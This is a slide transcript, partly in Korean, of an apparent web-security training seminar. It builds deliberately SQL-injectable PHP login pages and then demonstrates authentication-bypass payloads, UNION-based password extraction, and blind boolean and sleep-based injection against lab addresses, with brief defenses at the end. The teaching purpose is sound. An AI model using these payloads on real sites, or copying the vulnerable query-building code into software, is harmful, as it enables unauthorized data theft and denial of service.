web vulnerability seminar2
TRANSCRIPT
Web vulnerability seminar
from make to exploit
Contents
$ PHP + Source code auditing$ DB + SQLi$ XSS & CSRF$ Something Else$ Finish
Login Page$ Login Process
<?$id = "justlife3";$pass = "password";if($id == $_GET[id] && $pass == $_GET[pw])
echo "Hello!";else
echo "You are not justlife3";?>
DB
Column
Table
Row
DB
기본 패스워드 : apmsetup
mysql –uroot -p
패스워드 변경하고 가실게요$ UPDATE mysql.user SET
password=passowrd(‘ 사용할암호’ ) WHERE user=‘root’
$ 뜻을 알건 모르건 일단 바꾸고 봅시다 ..
DB
$ 어떤 db 가 있나 보자> show databases;
$ db 를 사용하기 위해 선택하자 .> use database_name
>ex) use mysql;
내 DB 만들기$ CREATE DATABASE db_name
> CREATE DATABASE webhacking;
$ CREATE TABLE table_name(column name type option,…)> CREATE TABLE member(
user_id varchar(20) NOT NULL,user_pw varchar(20) NOT NULL,nickname varchar(20),PRIMARY KEY(user_id));
값을 넣어보자 .$ INSERT INTO tablename values(a1,a2..);
> INSERT INTO account values(‘sakuya’,’1234’,’SAKUYA’);
$ INSERT INTO tablename(c1,c2..) values(a1,a2..);
> INSERT INTO member(user_id, user_pw, nickname) value(‘sakuya’,1234 , user_id);
연달아서 입력$ INSERT INTO member values
('sakuya','1234','SAKUYA'),('fear2fear','4321','131ackcon'),('commio0','bluebit','redbit'),('python','URYY',user_id),('ruby',abs(-1234),'sapphire');
$ 함수 , 컬럼도 가능함
$ Mysql 주석 : #, --, /**/
조회$ SELECT column FROM tablename
WHERE condition> SELECT nickname FROM member
WHERE user_id=‘sakuya’;
$ SELECT * FROM tablename WHERE contidion> SELECT * FROM member WHERE
user_id=‘sakuya’;
결과
PHP + SQL!
<?$ip = "127.0.0.1";$user = "root";$pass = “db_pass";$db = "webhacking";$conn = @mysql_connect($ip,$user,$pass);$dbs = @mysql_select_db($db);
?>
db_conn.php
가입 페이지 만들기$ 가입 페이지의 개략적인 형태<?include ‘db_conn.php’
$inp_id = $_POST[id];$inp_pw= $_POST[pw];$inp_nick = $_POST[nick];
//Send to Mysql$query = ‘INSERT INTO account values
(‘.$inp_id.’,’.$inp_pw.’,’.$inp_nick.’)’?>
로그인 페이지 만들기$ 로그인 페이지의 개략적인 형태<?include ‘db_conn.php’
$inp_id = $_GET[id];$inp_pw= $_GET[pw];
$query = ‘SELECT * FROM account WHERE user_id =’.$inp_id.’ and ‘.$inp_pw;
$row =mysql_fetch_array(mysql_query($query,$conn))if($row)
echo “Hello, ”$row[user_id];else
echo “Who are you?”?>web/2/login/join.php
web/2/login/_login.php
$rowmysql_fetch_array?
$row = array(‘user_id’ =>’1’‘user_pw’ => ‘2’‘nickname’ =>’3’);
$row = array(‘1’,’2’,’3’);
PHP array = Python dictionary + list
Injection?
그래서 ?
결론$ 무언가의 양식에 맞춰서 원하는 값을 넣는 것 .
$ SQL injection => SQL 구문에 맞게$ HTTP Header injection => HTTP 에
맞게$ Mail Header injection => Header 에
맞게
응용해 봅시다 .$inp_id = $_POST[id];$inp_pw = $_POST[pw];
$q = 'SELECT * FROM login WHERE id="'.$inp_id.'" and pw="'.$inp_pw.'"';
$row = mysql_fetch_array(mysql_query($q,$conn));if($row){
if($row[id]=='admin')echo "Congraz! Key is ".$authKey."<br>";echo "Hello, ".$row[id]."<br>";
}else
echo "Who are you?";
192.168.0.69/web/2/bypass/login.php
풀이SELECT * FROM login WHERE id="'.
$inp_id.'" "or 1=1#
and pw="'.$inp_pw.'"'
Challenge! +10 분휴식
192.168.0.69/web/2/bypass/login2.php192.168.0.69/web/2/bypass/login3.php192.168.0.69/web/2/bypass/login4.php
Login2
SELECT * FROM login WHERE id= ' and pw=md5(' $inp
') $inp '‘|| 1=1#
Login3
SELECT * FROM login WHERE id= ' and pw=md5(' $inp
') $inp '‘|| id=“admin”#
LIMIT
Login3
SELECT * FROM login WHERE id= ' and pw=md5(' $inp
') $inp '‘||1=1 limit 2,1#
Login4
SELECT * FROM login WHERE id=0x61646d696e
Advanced Injection
$ 3 + 3 = ?$ abs(-60)+60 = ?$ ord(‘a’)+ord(‘a’) = ?
$ “” + “A” = ?
UNION
SELECT ‘A’ + SELECT ‘B’ = ?
UNION
$ SELECT nick FROM membersUNIONSELECT pw FROM login
컬럼 개수가 맞아야 함
알아야 될 정보들$ SELECT column FROM table
$ 다른 DB 의 정보를 조회 !
>SELECT column FROM dbname.table
SELECT table_name FROM information_schema.tables;
INFORMATION_SCHEMA
$ Mysql 전용 !
Do IT! show tables show columns
최종web/2/adv/board/view.php?num=1union select 1,pw,3,4,5,NULL,7from board where no=5#
Blind 방식$ if 문을 사용$ Sleep() 계열을 사용
if 구문$ if( 조건 , 참 , 거짓 )$ if(1,1,0) -> 1 출력
@_@ ㅋㅋㅋ$ if(ascii(substr((select table_name
from information_schema.tables limit 1,1),1,1))<0,5,3)
분해 + 조립$ if(ascii(substr((select table_name from information_schema.tables limit
1,1),1,1))<0,5,3)
$ 초록 -> 주황 -> 빨강 -> 파랑
SELECT 문$ (select table_name from
information_schema.tables limit 1,1)
$ information_scehma.tables 에서 ta-ble_name 을 조회하고 값을 하나 가져온다 .
Substr 문$ substr(str,a,b)
> str 에서 a 번째 부터 b 번째 까지 문자를 가져온다 .
> python 의 str[a:b] 와 같음 .
ascii 문$ ascii(a)
> a 의 값을 아스키코드로 변환해서 돌려줌 .> python 의 ord 와 같음
ascii 의 값을$ if 로 넣어서 비교 .
> 그 이후 참 / 거짓에 따라서 값을 반환 .
if( <0,5,3)(select table_name from information_schema.tables limit 1,1)
substr( ,1,1)ascii( )COLLATIONS
ascii 의 값을$ if 로 넣어서 비교 .
> 그 이후 참 / 거짓에 따라서 값을 반환 .
if( <0,5,3)substr( ,1,1)ascii( )COLLATIONS
ascii 의 값을$ if 로 넣어서 비교 .
> 그 이후 참 / 거짓에 따라서 값을 반환 .
if( <0,5,3)ascii( )C 67
ascii 의 값을$ if 로 넣어서 비교 .
> 그 이후 참 / 거짓에 따라서 값을 반환 .
if( <0,5,3)67
3
DO IT!
$ if(ascii(substr((select table_name from information_schema.tables limit 1,1),1,1))<0,5,3)
SLEEP?
$ if(ascii(substr((select table_name from information_schema.tables limit 1,1),1,1))<0,sleep(1),3)
$ 리턴시간을 보고 참 / 거짓을 판별
$ sleep( 인자 ) 를 엄청 크게 주면 서비스 안함 ..
어떻게 할 것인가$ PHP.ini => magic_quoat 옵션 ON
> ‘, %00 등의 문자 앞에 \ 를 붙여서 스트링으로 인식하게 해줌
> magic_quoat 도 특수한 경우엔 우회가 가능함
$ Black List ? White list ?> ex) 숫자의 입력을 받는곳에 문자열의 입력은
필요없다 .